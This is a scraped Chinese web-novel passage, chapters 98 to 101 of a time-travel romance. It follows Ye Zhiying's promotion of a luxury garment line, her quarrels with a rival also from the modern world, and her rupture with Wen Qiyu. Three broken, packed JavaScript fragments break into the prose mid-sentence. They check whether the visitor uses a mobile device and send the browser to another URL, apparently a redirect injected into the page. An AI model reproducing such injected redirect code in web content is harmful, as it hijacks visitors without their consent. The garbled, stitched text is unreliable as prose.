RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991721|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的王夫人。每次叶之萤来店里时,女性顾客都很多,但像王夫人这般雍容华贵的女性还没见过第二个,且王夫人上次在店里挑选了很久,明明看得出有几款布料都喜欢,却什么也没买便走了,让叶之萤一直想不明白是为什么,所以对她印象格外深。 叶之萤带着笑脸上前迎接:“王夫人,有两个月没见了,您看起来愈发贵气了,皮肤也更白嫩了,真是让人好生羡慕!” 被认出后,王夫人似乎有些不好意思,忙摆手客气道:“哪里哪里,叶小姐不仅貌若天仙,记性也好,不必招呼我了,我只随便看看,有需要再叫你。” 她并不想被人跟着,于是叶之萤为她倒了杯茶,便识趣退下了,坐在一旁的桌子旁仔细观察她的喜好。 她着重挑的布料大多是纯度较高的颜色,例如石榴红、景泰蓝、翠绿、琉璃黄、葡萄紫这类颜色,不知道是不是听了自己上次的建议。 其中有两款布料,她来来回回在自己身上比了好几回,就在叶之萤以为这次她肯定会买、满心期待准备帮她试款式时,她却跟上次一样,一脸歉意地跟叶之萤打了个招呼,就带着丫鬟离开了。 叶之萤看着她逐渐走远的背影,愈发想不通,便问沈老板:“这个王夫人到底为什么只看不买啊?那些布料她不是也挺满意的吗?” 沈老板一语便道破了其中缘由:“不同阶层的人都有自己的生活标准,每家铺子也都有它对应的顾客层次。咱们铺子里这些布料制成的可不仅仅是一件件衣裳,更是穿衣人的身份。正如来我们布庄买料子的顾客不会缝粗布麻衣穿。同理,穿惯了‘福裕绸庄’里那些浮光锦、妆花缎的人,当然也不愿意自降身份穿我们这些布料。” 被沈老板这么一点,叶之萤算是明白了:“也就是说,王夫人并不是不喜欢这些衣服,她只是觉得我们的布料不够高级,品牌也不够奢侈,穿在身上怕降低了她的档次,有失体面?” “是这样的。王家老爷曾位及朝廷工部司郎中,王夫人娘家也是黎城数一数二的大户人家,以往她这样的身份,是不可能来我们铺里买布料的,之所以会来……”沈老板笑了笑,接着说,“也是沾了叶小姐你的光,不仅王夫人,还有几位从前从不正眼瞧沈氏布庄的夫人们都为了看你来了我们布庄,大家都想来看看沈氏布庄里这位传闻中神仙下凡的叶小姐到底有多美!” 沈老板的话里充满了对自己当初请叶之萤来店里工作这个决定的得意。而叶之萤却从他的话里嗅出了一丝商机:“可是,她来了第二次呀,如果说第一次是因为好奇想看看我长什么样,那今天再来就说明她是喜欢我们店里布料的,不是吗?” “那……”沈老板思忖一阵,点头道,“你说得也是!” “既然她们觉得我们的品牌不够奢侈,那我们就包装得更奢侈,她们觉得我们的布料太普通,那我们就让布料变得独特起来,她们觉得布料的价格太低,那我们就提高价格呗!” “你可是已经有了想法?”沈老板小声问道。 “是有了些不成熟的想法……”她顺势走到沈老板身边,将自己的想法一条一条全部告诉了他,将完后,又谦虚道,“不过,能不能行还得沈老板您慎重考虑后再做决定。” 沈老板听完后面露惊喜之色,道:“叶小姐的建议,我会好好考虑!如之后有需要叶小姐协助之处,还望叶小姐鼎力相助,当然,沈某定有重谢,不会让叶小姐吃亏。” 99. 菱花裳 五日后,沈氏布庄会推出“菱花裳”的消息便不胫而走。走在街上,大家都在讨论。 “你们听说了吗,沈氏布庄要推出什么‘菱花裳’?” “当然听说了,整个黎城人都知道了!” “何为‘菱花裳’?从前没听过啊。” “好像是在宅院里穿的衣裳,用的都是最柔软舒适的缎子,一套衣裳里还有发饰、帕子和鞋袜,款式也与平日里穿的这些不同。” “我听说这个‘菱花裳’每款布料都是限量的,一款布料只给一人量身定制,有多种款式可选,还是上门量体,绝不会和别人撞衫,可是真的?” “我也听说了,那定是价格不菲吧?” “那是自然。” “若是如此,倒不如买‘福裕绸庄’了!” “先别急着下结论嘛,‘福裕绸庄’的布料虽奢华,‘沈氏’却有着黎城当下最时兴的衣裳款式,各有千秋嘛!听说九月二十七那日辰正时分,沈氏会在‘浮云落雪’举办什么新品什么会的,届时那位如花似玉的叶小姐会身着‘菱花裳’为……会什么来着……” “会员!” “对,为会员们展示衣裳效果,只接受现场预定,不如我们一起去看看?” “浮云落雪”是黎城西边一间专供世家子弟、文人墨客赏画弹琴、品茗赏乐、互相切磋、附庸风雅之场所,阁楼南面二百米左右有一大片梨园,每到春日,从阁楼上向南望去,繁盛雪白的梨花便如团团云锦漂浮于半空,春风吹过时,白色的花瓣又纷扬如大雪飘落,故名“浮云落雪”。 “可是我听说不是所有人都有资格到现场,需持定制的檀木手牌方可进场。我们没有手牌,恐怕进不去吧?” “那手牌有两种发放形式,一种是沈氏直接邀请,都是些黎城最有权势的人,还有一种是主动申请,需缴纳纹银五十两入会,只有二十个名额,已经都发完了。现在有好些人都在四处求购手牌,一块牌子已经炒到上百两了!” “这么贵?” “你们别忘了,我爹和沈氏布庄的沈老板交情匪浅,已经拿到一块手牌了,届时你们二人就扮成我的丫鬟,我们一起去。” “太好了!那一定要去看看了!” “‘菱花裳’,这个名字出自何处?”轮椅上的温其玉抬头问身后的女子,语气慵懒,正午的阳光照得他有些睁不开眼。 “‘理罢笙簧,却对菱花淡淡妆。绛绡缕薄冰肌莹,雪腻酥香。’就是出自这首词。”叶之萤一边说,一边用两只手遮在额前,挡住火辣的太阳。明明已经秋天,黎城的太阳却依旧火热。 叶之萤第一次听到这首词是在一位很好的哥哥口中,只可惜……早已物是人非,此生再无可能相见了。 “好词!词中之意与衣裳风格也很接近。”温其玉又抬头看了一眼身边被晒得满脸通红的人,“为何一定要正午来?” 叶之萤之所以今天出来,是为了给两周后的“走秀”再买些饰品,之前一直借赵记首饰铺的首饰用倒也足够,但如今新推出的“菱花裳”要走奢侈路线,搭配的首饰自然也要选同档次的,赵记就略显普通了。沈老板特意交代她不要心疼银子,只考虑款式,多少银子他都出。 而她见温其玉自中秋以后就没过出门了,于是硬缠着他陪自己一起出来走走,接接人气儿。温其玉原本并不想出来,但架不住叶之萤一脸胆怯地搬出杨宗明,他明知她是假装害怕,却也实在担心那姓杨的真会来骚扰她,终究放心不下,这才陪她一起出来了。 “我怎么知道今天这么晒!要不你先跟荣祥找个茶楼坐一坐,吃点东西,我和阿力、还有他们几个一块儿去买就行。”叶之萤指着身边那四位将他们围在其中、衣着普通却身手不凡的“保镖”说道。 温其玉拒绝了她的提议:“整日在屋里待着,难得晒晒太阳,倒也舒服,一起去吧。” “叶小姐,这‘菱花裳’到底是什么衣裳啊?听大家说的,我都等不及想看看了。”阿力听了一路关于“菱花裳”的传闻,肚中的好奇虫已然被勾起。 “看来你的策略确实很管用。”温其玉笑着道。 叶之萤也笑了起来:“是啊,连阿力都好奇了!” “这是何意?”阿力听他俩的对话听得一头雾水。 温其玉提醒他:“你想一想,这沈氏布庄要在‘浮云落雪’举办新品发布会的消息为何会传得如此快?” “噢……我明白了!”阿力还不算太笨,一点就通。 “嘘!”她赶紧示意他小声点。 “原来这些都是你故意放出的风声啊?”阿力凑到她耳边,压低了声音,一脸不可思议。 “对啊,酒香也怕巷子深,不狠狠地宣传一番,又怎么能让整个黎城人尽皆知!” “那他们说的那个手牌,少爷,您收到邀请了吗?”阿力附身问温其玉。 温其玉摇头,表示并未收到。 阿力见状,起身质问叶之萤:“你们那什么什么会,竟然连少爷都没邀请,叶小姐,你也太不够意思了吧!” 叶之萤一肚子委屈:“你们少爷整天深居简出的,一副与世隔绝的样子,我以为那种场合他肯定不乐意去,哪敢开口邀请他呀?” “那……少爷也没说他不……乐意去啊!”阿力看着温其玉逐渐严肃的表情,猜不透自家少爷到底是想去还是不想去,语气渐渐没了底气。 “我看是你想去吧?”叶之萤干脆笑着拆穿了阿力。 阿力不置可否,低头推着轮椅不说话。 “咳!你们都是我朋友了,哪还需要什么木牌呀,到时候我直接带你们进去不就好了吗?” “真的可以?”阿力听她这么说,立马抬起头,又反问她,“那手牌如今真的要上百两银子一块?” “那当然了!”叶之萤点头道。 “花这么多钱为什么不干脆去‘福裕绸庄’?” “‘福裕绸庄’又没有‘菱花裳’。” “可是为什么他们愿意花这么多钱仅仅买一块入场的手牌呢?”阿力还是想不通。 “这可不仅仅是一块手牌,这是购买‘菱花裳’的资格!”叶之萤纠正他。 “可‘菱花裳’真的值这个价吗?” “单论布料和工艺,当然不值得,但追捧的人多了,就值得了,要是大部分人都求而不得,就超值了!更何况,能花这个钱去买一块手牌的人,本身就不在乎一百两,如果现在给你个机会,一两银子就能换一块手牌,那天可以去现场一饱眼福,你换不换呢?” “当然换了!”阿力毫不犹豫地回答。 “那不就是了!” 阿力似懂非懂地点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991722|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他还是觉得困惑,又自言自语道:“奇怪,为什么一夜之间大家都开始追捧这‘菱花裳’了呢?” 在娱乐圈闯荡多年,别的不敢说,宣传炒作、制造舆论、煽动情绪对叶之萤而言那绝对是手到擒来的事。 她笑着拍了拍阿力的肩膀:“你就别犯愁了,存在即合理,人的本质就是‘随波逐流’,既然进到了滚滚浪潮里,跟着追就好了!” 正如今天的黎城,整城的百姓似乎都被“菱花裳”这把大火烧得沸腾了。这当中谁在故意放火,谁在扩大火势,谁又被火点燃,还重要吗? 说话间,几人便来到了黎城最有名的“觅珍阁”,就在“福裕绸庄”的隔壁。 上一次来这里,她只问了价格就吓得落荒而逃。这一次,终于可以理直气壮地买买买了! 这些精美绝伦的首饰让叶之萤那压抑了许久的购物欲又一次井喷而出。那些躺在橱窗中的东西仿佛都有了生命,它们钻进她的大脑,扯住她的神经,控制她的精神,将她拉入疯狂。她就像一只饿了很久的藏獒,看着眼前那些垂涎欲滴的肉,兴奋得眼都红了! 最后,她选了两支花簪,两支花胜,一条金镶宝珠项链,又自费买了一支玉步摇钗。即使如此,强烈的购物欲也并没有得到完全的释放。 回去的路上,阿力和她打趣道:“平时很少看到你这么兴奋的样子!” “你让一头老虎半年不吃肉,它看到肉一定也会这么兴奋的!”她沮丧地踢开了脚下的一颗石子,自从到这儿来,一块铜板都恨不得掰成两半花,再也没有尽兴花过钱了。 “其实我觉得吧,银子够花就行,你现在挣得也不少了,黎城的大部分百姓一个月也就挣两三两银子。”阿力宽慰她。 “你说得没错,但问题就是它现在不够花呀!” 阿力显然理解不了她的苦恼,在他看来,一个月能挣三十两银子,已经比黎城的百姓好了不知道多少倍,还有什么不满足?可偏偏叶之萤向来挥金如土,现在要她压抑自己的购物欲简直比杀了她还痛苦! “哟,又在街上碰到叶小姐,看来杨某和叶小姐还真是有缘呢!”不用转身,光听这声音叶之萤就知道是谁来了。 四名护卫第一时间将杨宗明拦在几米之外,不准他靠近叶之萤。 这是倒了什么霉,偌大的黎城,怎么总是能碰见他! 温其玉已经被荣祥推着转了过去,正面对着杨宗明,叶之萤也不耐烦道:“真是阴魂不散!” 岂料,杨宗明竟先向温其玉恭恭敬敬地行了个礼:“久仰大将军美誉,在黎城得见英雄真容,实乃宗明三生有幸!之前有眼不识泰山,折辱了大将军,还望大将军大人大量,能原谅在下的有眼无珠。” 全然没有了之前的嚣张和不屑一顾。 看来他这些日子是调查过他们了! “温某不过一介寻常百姓,并不是你口中的什么大将军。”温其玉冷语道。 “那……”热脸贴了冷屁股,杨宗明顿时有些无措,犹豫片刻,还是改了口,“温公子,在下要多嘴提醒您一句,有时眼睛看到的未必都是真的,还望小心提防身边来路不明之人。” “不劳杨公子费心。”句句都噎得杨宗明无话可说。 杨宗明立在原地,尴尬不已,而后瞥了眼温其玉身边的叶之萤,又来了兴致。 100. 阴魂不散 “听说沈氏布庄的‘菱花裳’火了,叶小姐的功劳不小。‘晚来一阵风兼雨,洗尽炎光。理罢笙簧,却对菱花淡淡妆。绛绡缕薄冰肌莹,雪腻酥香。笑语檀郎:今夜纱橱枕簟凉。’真是好名字!”此人居然也知道这首词。 “你有事吗?”叶之萤瞥了他一眼,“有话就说,没话就滚,别跟个公公似的阴阳怪气!” “脾气还是这么暴躁!”他阴笑起来,“刚刚恰巧看到叶小姐从‘觅珍阁’里出来,便想着过来打个招呼,顺便提前恭喜一下。不愧是从娱乐圈的尸山血海中爬出来的,炒作手段真是高!” 他停了一会儿,见她不搭腔,看了眼她手中装首饰的木匣,继续道:“都沦落到替人试衣为生了,还这么拜金?” 叶之萤心里被他这句话扎得生疼,但又不能在他面前表现出来,于是反问他:“真是活久见,商人骂消费者拜金?既然这么清高,不如先把你的茶园关了,‘玉莲香’那种奢侈品,普通人可喝不起,挣得不就是拜金主义的钱吗?都不拜金了,你家的生意做给鬼啊?边吃饭边砸锅,真有你的!” 一旁的阿力偷着对她竖起了大拇指。 “你……”他脸色大变,被她说急了,开始气急败坏地攻击她,“你这个狐狸精,别以为傍上了大将军给你撑腰,我就拿你没办法了,我今天来就是告诉你,‘菱花裳’这个名字你不许用!” 叶之萤觉得他这话实在可笑:“凭什么我不能用?你是李清照啊?还是这名字你申请专利了?专利证拿出来我看看。” “因为你不配!要点脸的就换个名字,我可以不追究,要是你执意用这个名字,别怪我对你不客气!” “那就让我看看你准备怎么追究,怎么不客气!” 二人你一言我一语吵了起来,一声盖过一声。 正吵着,杨宗明突然收了声,又问轮椅上的温其玉:“大将军,不,温少爷,您为何不想想我提醒您的话到底是不是真的?” 温其玉瞥了他一眼:“你当我是什么人?需要靠你来提醒?” 叶之萤道:“就凭你这几句话,我虽然还不知道你到底是谁,但我敢肯定,你一定不是我身边的人!” 杨宗明指了指周围来来往往的人们:“叶女士这么嚣张,难道是想让我当街拆穿你的身份吗?” 街上的百姓要是听到她是来自千年之后的人,还不得把她当妖怪抓起来啊!不过…… 叶之萤转念一想,这姓杨的不也和自己一样吗?吓唬谁呀! “你拆啊!你拆我我就拆你,大不了同归于尽!反正我一无所有,拆就拆了呗,不像某人啊,都坐拥万贯家财了,一拆可就全没喽!” 岂料那杨宗明竟冷笑起来:“你眼里果然只有这些,以为所有人都和你一样贪恋财物吗?再说,你凭什么拆穿我?你连我是谁都不知道,空口白牙谁信你?” “你……”他说得没错。 “凭她一人或许不可,但还有我。”温其玉的声音适时响起,“杨公子,你恐怕有些小瞧温家了!” “温公子,你……”杨宗明思忖了一阵,而后走到温其玉面前,压低声音道,“我不信你能查到什么,温家的势力再大,也跨越不了时空。” 阿力和荣祥及时挡在他面前,不准他接触到温其玉。 温其玉笑言:“那是自然,但倘若杨老爷知道自己认的养子居然不似凡人,你猜他会不会害怕?又会不会猜测你接近他到底是何目的?想认杨运做爹的岂止你一人,为何非得是你?若是他想换个儿子,那……一山又岂能容得下二虎?” “我接近他纯粹是意外,更何况,他培养了我五年!” 温其玉瞥了一眼举在他眼前那只手掌,笑着摇头道:“那又如何?十几年前,黎城的茶叶生意有多少商人想要抢占先机,你知道杨运是如何突出重围成为黎城唯一的茶商吗?那样一个心细如尘、心狠手辣之人,又岂会为了一个与他没有血缘关系、来路不明、甚至身份吊诡之人,拱手让出他几十年打下的基业?他认你为子四年之后,才愿意将这偏远小城的茶叶生意交由你负责,想必在此之前,他已将你的身世调查了多年。另外,听闻杨公子家中有位极具经商头脑的夫人,这些年在生意上帮了你不少忙,她恐怕还不知道自己丈夫的真实身份吧?还有你们的儿子,也才出生不久,作为这样富庶的家族中唯一的继承人,是个幸运的孩子……”温其玉面色平和,看不出一点发怒的样子,却不知从哪里来的威压感已经笼罩在杨宗明的头顶,压得他喘不过气。 “温少爷,”再开口时,杨宗明的气势已经弱了下来,“我与您本无仇怨,并无得罪之意,相反,我曾听说过不少您的英雄事迹,心中对您亦是万分敬仰,我与叶之萤之间的事,并不想将您牵扯其中。” “叶之萤的事,就是我的事。” 杨宗明愣在那里,他不明白叶之萤给这温公子灌了什么米汤,能让他对她如此偏帮?于是试图继续劝说:“温公子,你以为叶之萤她和你在一起真的是因为爱你吗?你错了!若她只是个普通女子,恐怕还会折服于你的身份和财富,可她偏偏不是普通女子,从前,追她的人数不胜数,从富商世家到达官贵人,什么阶层的人她没见过?她怎么可能真的为你动心?” “杨宗明你闭嘴!”叶之萤试图制止他闭嘴,却无果。温其玉的脸上始终没有露出丝毫情绪上的破绽,让人完全看不透他在想什么。 “她不过是看中了你的身份。她在这里无依无靠,必须得找个靠山,在她眼里,你就是那个靠山,有一天,当你再无利用价值之时,她立马就会抛弃你、甚至毁掉你,因为我曾亲眼见她不止一次这么做过!她是一个没有感情的人,眼里只认利益,但她确实是个好演员,即使心里再冷漠,都可以演出你想要的深情款款,不清楚她本质的人难免会被她的样子欺骗!” 太荒唐了!实在太荒唐了!一个根本不了解她的人当着她本人的面口若悬河地评价她,自以为有多了解她,其实通篇都是自己的意淫,没有一个字是真的。没想到啊,都穿到千年前了,都已经不当明星了,竟然还摆脱不了营销号的胡说八道!叶之萤不免疑心,难不成这杨宗明以前是个娱记? “温某刚刚说过,无须杨公子提醒,请杨公子注意分寸。”温其玉的声音冷漠而疏离。 杨宗明见温其玉始终不为所动,又转身警告叶之萤:“叶之萤,别怪我没提醒你,你最好安分守己,要是再作恶,我饶不了你!” “你TM到底是谁?”叶之萤被他逼得忍不住骂了脏话。 “叶之萤,你好好想想,在娱乐圈那么多年,你有没有对不起的人?”杨宗明的眼神变得有些哀伤,仿佛是想到了一些令他难过的往事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991723|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我叶之萤在圈里虽然没有朋友,但也从来没对不起过谁!”她一字一顿地回答。 杨宗明眼里的悲伤瞬间荡然无存,眼神变得凶狠,像要吃了她似的:“你果然是一个没有心的人!” “我有没有心不重要,但你肯定是有病,还病得不轻!”说完,她就推着轮椅打算离开,再不走,她就要被他逼疯了。 杨宗明又叫住了她:“叶之萤,今时不同往日了,这里不是现代社会,即使你结识了温少爷,也不可能再一次复制曾经的成功,像从前那样利用美色平步青云,你那一招在这里,不管用的!” “我那一招?哼,跟杨公子比起来可差远了,至少我行不更名坐不改姓,杨公子为了继承别人的家产,不惜数典忘祖、改名换姓,连自己的本名都藏着掖着不敢说,这份魄力和勇气,可不是谁都能做到的,又有什么资格站在道德制高点上批判别人呢?”她又转过身去,笑着讽刺他,慵懒的语气中夹杂着轻蔑。 面对对方的发疯,与其不断自证,不如主动攻击他的要害。 “你……”他果然被戳到了痛处,终于短暂地闭上了那张胡言乱语的嘴。 叶之萤趁他乱了阵脚,继续道:“杨公子,不管我以前和你是什么交情,如果你不想告诉我你的真实身份,还有接近我的目的,那么以后再在街上相遇,我们大路朝天,各走一边,互不打扰就好,不必再来装神弄鬼、妖言惑众了,提前谢过,拜拜!”说完,就推着温其玉大步离开了。 走了很远,她才开口问轮椅上的人:“他刚刚说的那些话,你信了吗?” 那些谩骂和诋毁她一点也不在意,但却不能不在意温其玉的想法。 温其玉转过头来,表情有些无奈:“那日不是都告诉你了吗?怎么又问?” “我……”被他这么一反问,她瞬间惭愧不该怀疑他的。 他淡淡一笑,没有一点不耐烦:“既然你还是不放心,那我便再回答一次。我并不认识从前的叶之萤,对我而言,她是怎样的人,做过什么事都不重要,我只在意我所认识的你。” 这番话似乎是在说,即使杨宗明说的是事实,他也不在意。 她急忙解释:“不,虽然我以前为了事业有更好的发展确实用过些手段,这个我不否认,各行各业里,但凡有野心想往上爬的,谁没使过点手段呢?但他说的什么把人当工具用完就扔,什么靠美色依附权势,还有把别人的腿弄残疾,这太离谱了,我没有做过那些事!” “叶姑娘,我这么说并不是信了他的话,实际上,过去的你做过什么都好,都不会影响我对你的看法。你也不必将他的话放在心上。人心是复杂的,世界也不是非黑即白的,有时为了得到某样东西,我们确实会选择舍弃另外一些东西作为交换,或者明知前路危险也要铤而走险。在我眼中,你聪明、踏实、率真、倔强,有野心,有欲望,时而任性,常常冲动,优点很多,缺点也很明显,但你的底色是干净的,你不是一个没有底线的人!” 有些时候,叶之萤觉得自己可能真的过于在乎温其玉了,以至于常常为了一些小事而焦虑重重。他是如此通透的人,甚至不需要她说一句话,就能轻而易举地看穿她的心思。这样的他,自己还担心什么呢? “谢谢你对我的信任!”千言万语,最终只化作了这一句话。 101. 决裂 后面几日,叶之萤从早到晚都待在布庄,和沈老板商议宣传策略、计划发布会的内容,以及确定“菱花裳”的面料和款式,忙得不可开交,都没能得空和温其玉好好见一面、说说话。 直到十七号,才终于忙里偷闲,早早回家想给温其玉一个惊喜。阿力和那四名“保镖”也跟着她,家中只有荣祥一人贴身照顾他,其中辛苦自不必多说,叶之萤心知荣祥的辛苦都是因为自己,便买了他最喜欢爱的枣糕想要犒劳犒劳他。 经过那次被荣祥剑指,叶之萤再也不敢直接推门而入了。她让阿力先去取个花瓶,自己抱着一大束格桑花蹲在窗台下,轻轻敲了几下窗子,等了几秒钟,心想床上的人此时一定正在向窗外张望,便将花束举至窗前晃了晃,再猛地起身,给了他一个大大的惊喜。 “是不是没想到我这么早回来?”她笑得嘴巴都快咧到了耳朵根,好像被惊喜的人不是温其玉而是她自己。 床上的人听见了她的声音,这才吃力地抬着头,迷茫地朝她的方向眯了下眼。他的脸上看不出半点欢喜的样子,只是很淡地笑了一下,与其说是开心,不如说更像是为了附和她的激动硬挤出的一个笑容。 温其玉刚用了药,药力还没散。 叶之萤赶紧绕到大门进了屋,把手中的花和枣糕顺手放在餐桌上,便来到了他床边。 他的精神看起来真的不太好,脸色苍白,眉头紧锁。 “忘了你今天要用药,还想着早点回来给你个惊喜呢!”她伸手轻轻覆盖在他的额头,慢慢将那眉间的褶皱抚平,“是不是很疼?” 他闭上眼睛,轻轻摇了摇头,她的手随之从他的眉心划到了耳边。 叶之萤一进屋就发现了,温其玉虽然精神不济,却又不像是被□□的疼痛所扰,那双纵使迷茫也难掩落寞的眼睛,以及眉间蜿蜒的沟壑,看起来倒像是被心事所累。 “怎么了?有心事吗?”问出口后,她才意识到他现在根本说不了话。 “叶小姐近来事务繁忙,忘了少爷用药时间也就罢了,怎么连药力会暂时影响少爷开口说话都忘了?不知道的还以为你与少爷不相熟呢!”很冲的语气,是荣祥。 叶之萤以为自己和荣祥已经冰释前嫌了,没想到今日又挤兑起她来。 细细想来,这段时间确实是忙得忽略了温其玉,但温其玉应该不至于为这点小事生气吧?他明明不是这种人啊!而且他一向都很支持自己工作的! 但不管怎样,眼下还是先哄哄他,于是轻推他的身体撒起娇来:“确实是我不对,这几天布庄太忙了,都疏忽你了,你别生气嘛!等发布会结束了,我好好陪你几天,好不好?” 只这一句话,床上的人表情便明显有了好转,她赶紧又把花拿到他手边,拉着他的手去摸花瓣:“你摸一下,今天没有玫瑰,我就买了一束格桑花,五颜六色的,可美了!” 谁知,荣祥此时突然冲到榻旁,抢走那束花直接扔进了不远处的白釉渣斗里。整个动作行云流水,速度快得叶之萤和温其玉都没反应过来。 叶之萤望着被当做垃圾丢掉的格桑花,愣了好一会儿才回过神来,大吼一句:“你干什么?” “少爷不想见到这花。”荣祥瞪着眼,一字一顿地说。 “就算他不想见,也轮不到你来扔!” “我所做的一切都是少爷的意思。” “他刚才并没有说话!我到底哪得罪你了,你就这么看我不顺眼?” 这时,阿力也抱着花瓶进了屋,眼看屋里硝烟渐起,大概听懂了其中缘由,急忙上前训斥荣祥:“你少说两句,少爷和叶小姐两个人之间的事,你掺和什么!” 边说边把荣祥往门外拉。可叶之萤气还没撒完,又冲上去把荣祥扯了回来。 荣祥没有防备,被拽得一个趔趄,为保持平衡,另一只手臂无意识一扬,却不巧将身旁斗柜上一只点燃的熏炉打在叶之萤身上,随后又弹翻在地,发出巨大的“砰”的声响。 炉中滚烫的香灰撒了叶之萤一身,面前二人皆惊,连她自己也吓了一跳,但些许惊吓很快就被心中的愤怒盖过。 “你没事吧?”阿力忙上前替她检查,索性只是衣服上烧了几个小洞。 叶之萤用手拍掉了身上的香灰,气势汹汹地瞪着荣祥,恨不得用眼神撕碎了他。 荣祥见她没事,明显身体一松,又朝她吼起来:“你想作甚?” 火药味再次燃了起来。 她指着渣斗里的格桑花,紧咬了槽牙:“你现在就把它捡起来,洗干净,重新放回刚才的地方!” “不捡又如何?” “不捡我就……”她正吼着,突然被几声很轻的“咚咚”声打断,仔细一听,是从床那边传过来的声音。 “少爷,我在这儿。”敏锐的阿力已经先一步跑到了床边。 叶之萤回头一看,原来是不能说话的温其玉在用手拍床。吵得太上头,以至于三人都忘记了床上还躺着个人。 荣祥不敢再言,瞪了叶之萤一眼,便站到床边,等着自家少爷责罚。只有叶之萤还站在原地,怒气未消。 “少爷,都是我和荣祥不对,您别生气。”阿力自知温其玉定是动了怒,赶忙认错,却看到温其玉的手不停在他面前摸索。 他赶紧把手摊开,放在温其玉手指下面,弯曲的手指感受到了他的手心,便在上面无力地划了起来。撑起的手指看起来岌岌可危、摇摇欲坠,但它的主人始终攒着一口气,颤颤巍巍地继续划。 直到阿力说了句“她没事”,那根强撑着的手指才终于倒下。 荣祥也想开口解释,可只叫了句“少爷”,床上的人就闭上了双眼,将头扭到了一旁不愿再理他。他只好悻悻闭起嘴,却仍旧一脸不服气地瞪着叶之萤。 叶之萤原本不想再当着温其玉的面和荣祥起争执让他着急,可没想到这个荣祥毫无悔意,还来主动招惹,气得她实在忍不下去了:“你有话就直说,瞪什么瞪!” 阿力看她又要炸毛,赶紧眼神示意荣祥:“别闹了!” 岂料,荣祥却连阿力都一并骂了:“你什么都不知道,在这儿和什么稀泥?” “那我们该知道些什么,你倒是直说呀!别别扭扭半天都没个重点,在你们这儿有话直说犯法吗?”杨宗明是这样,现在荣祥也这样,叶之萤这个急性子就快被他们磨死了。 “那好,我问你,你为何会喜欢少爷?”荣祥总算问出了一句有内容的话,可他这话问得叶之萤一时之间又不知道该怎么回答。 “喜欢就是喜欢,哪有那么多为什么?” “黎城追求你的男子数不胜数,你为何偏偏喜欢少爷?” “我……我都说没有为什么了!”吵架当头,哪里还有谈情说爱的心思。更何况就算有,那些话也该是和温其玉关起门来悄悄说的,凭什么说给他荣祥听? 谁知,荣祥却道:“答不上来?你不是戏子吗?不是向来很会演吗?为何今日连演都不想演了?” “你胡说八道些什么?我演什么了?”叶之萤此时突然想到一事,便问,“是不是杨宗明来过?” 荣祥恶狠狠地瞪了她一眼。 “他又和你们说了什么?” “你很紧张他说了什么吗?”荣祥反问她,“他说了许多关于你从前的事。” “我紧张什么?我只是希望你们不要轻信他的谎言。” “或许你才是那个满口谎言的人。” “我满口谎言?”叶之萤激动起来,“杨宗明说什么你就信什么?别人一放饵你就上钩,我好歹跟你生活了这么久,杨宗明才跟你见了几面,你不信我去信他,你是不是脑子不好使?” “正因为杨宗明与我们没有利益关系,甚至从前并不认识,他才没理由骗我们。”他已经完全被杨宗明洗脑了。 “那我和你们又有什么利益关系呢?你有没有想过他骗你们或许是为了离间你们和我的关系?”叶之萤觉得心好累,荣祥要是再这样胡搅蛮缠下去,她恐怕要上去甩他两个耳光了。 床上的人此时却意外的平静,平静得好像在另外一个时空,听不见这里任何纷纷扰扰,但叶之萤知道他在听,因为面对荣祥对她如此无理的逼问,他并没有打断他来保护她,这足以说明,比起她的感受,此时他更在乎的是她的答案。 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泪水在叶之萤眼眶打转,又源源不断从泪腺涌出,她试图将那些眼泪憋回去,却无论如何也阻止不了它们噼里啪啦地接连落下。 “叶之萤,你认识陈如吗?” 叶之萤脑子里“轰”的一声。 为什么又是她?自己明明已经跟那个世界彻底切割了,她为什么还不肯放过自己! 这两个字对她而言有千斤重,将她压得永世不得翻身。 “你认识她吗?”荣祥又重复了一遍。 她现在知道了,温其玉是听说了陈如的事,才对她有了隔阂和猜疑。 他不是说会永远相信自己吗?原来他的信任竟如此廉价! 可陈如的事和其他不同,如果不解释清楚,要他怎么相信? 叶之萤挣扎了很久,走到床边,蹲在了温其玉面前。他觉察到了她的动静,也扭过头来“看”她。 她望着那双虽然不能聚焦却依然清亮的眸子,握住他的手问道:“陈如的事,你没有信,对吗?” 周围的空气安静得没有一丝杂质,她相信床上的人一定听出了她颤抖的声音中怀揣着的期待。 温其玉缓缓闭上了双眼。 叶之萤的心脏随着他闭起的双眼“啪嗒”一声,碎得生疼。 她绝望地甩开他的手,起身回房换了一套男装,简单打包了行李,就毅然踏出了房门。 阿力就站在门口,看她提着包袱出来,将她拦住:“真的要走吗?” 叶之萤没忍住往隔壁屋里看了一眼,床上的人依旧躺着,眼神已不再茫然,却并没有给她眼神。 “嗯,走了!”她终于下定了决心。 阿力偷偷把她拉到一边,从怀中掏出了一串钥匙:“我在城西还有处空宅子,待会儿我带你过去,你先去那儿住一段时间,这是钥匙,你拿着。” “谢谢你的好意,不用了。”叶之萤想也没想便拒绝了。 